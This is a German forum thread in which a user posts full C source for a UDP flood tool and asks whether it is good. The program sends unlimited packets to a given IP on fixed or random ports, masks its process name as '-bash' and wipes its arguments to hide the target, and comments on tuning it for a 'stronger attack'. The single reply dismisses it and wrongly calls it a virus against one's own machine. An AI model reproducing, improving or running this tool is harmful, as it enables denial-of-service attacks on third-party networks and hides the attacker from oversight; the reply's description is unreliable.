Code mal anschauen



  • hi könnt ihr bitte mal den code anschauen, ob das so gut ist?

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <time.h>
    
    #define lickpussy "-bash\0"
    
    void usage(char *appname) {
    	printf("Usage:\n");
    	printf("%s <ip> <port> <packetsize> <numpackets>\n", appname);
    	printf("Set numpackets to 0 to flood.\n");
    	exit(1);
    }
    
    int main(int argc, char **argv) {
    	long port, packetsize, numpackets, sockfd, packcount = 0, i, numbytes;
    	char *ip;
    	struct sockaddr_in their_addr;
    
    	if (argc != 5) {
    		usage(argv[0]);
    	}
    
    	port = atoi(argv[2]);
    	packetsize = atoi(argv[3]);
    	numpackets = atoi(argv[4]);
    	ip = strdup(argv[1]);
    
    	bzero(argv[0], strlen(argv[0]));
    	bzero(argv[1], strlen(argv[1]));
    	bzero(argv[2], strlen(argv[2]));
    	bzero(argv[3], strlen(argv[3]));
    	bzero(argv[4], strlen(argv[4]));
    
    	strcpy(argv[0], lickpussy);
    
    	printf("Attacking:\n");
    	printf("IP: %s\n", ip);
    
    	if (port == 0) {
    		printf("Port: Random\n");
    		srand(time(NULL));
    	} else {
    		printf("Port: %ld\n", port);
    	}
    
    	printf("Packetsize: %ld\n", packetsize);
    
    	if (numpackets == 0)
    	printf("Numpackets: Unlimited\n");
    	else
    	printf("Numpackets: %ld\n", numpackets);
    
    	printf("\n");
    
    	if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
    		perror("socket");
    	}
    
    	their_addr.sin_family = AF_INET;
    	their_addr.sin_port = htons(port);
    	inet_aton(ip, &(their_addr.sin_addr));
    	memset(&(their_addr.sin_zero), '\0', 8);
    
    	while(1) {
    
    		for(i = 0; i <= packetsize; i++) {
    
    		if (port == 0) {
    			their_addr.sin_port = htons((rand() % 65000) + 1);
    		}
    
    		if ((numbytes = sendto(sockfd, ".", 1, 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1 ) {
    			perror("sendto");
    				exit(1);
    		}
    		}
    
    		/* Decrease (not increase) this value to use more bandwidth (and cpu) thus resulting in a stronger attack. */
    
    		usleep(100);
    
    		if (numpackets == 0)
    		printf("Sent %ld of Unlimited packets, current port: %ld.\r", packcount, ntohs(their_addr.sin_port));
    		else
    		printf("Sent %ld of %ld packets, current port: %ld.\r", packcount, numpackets, ntohs(their_addr.sin_port));
    
    		fflush(stdout);
    
    		if (numpackets != 0 && packcount == numpackets) {
    			break;
    		}
    
    		packcount++;
    	}
    
    		printf("Sent %ld packets with size %ldbytes to %s\n", packcount, packetsize, ip);
    		printf("Total Size: %ld\n", (packcount * packetsize));
    
    	return 0;
    }
    

    danke im vorraus



  • Der Code ist Mist.
    Der enthält ja einen Virus, der den eigenen Rechner angreift.

    P.S.: Wer ist "lickpussy" ?


Anmelden zum Antworten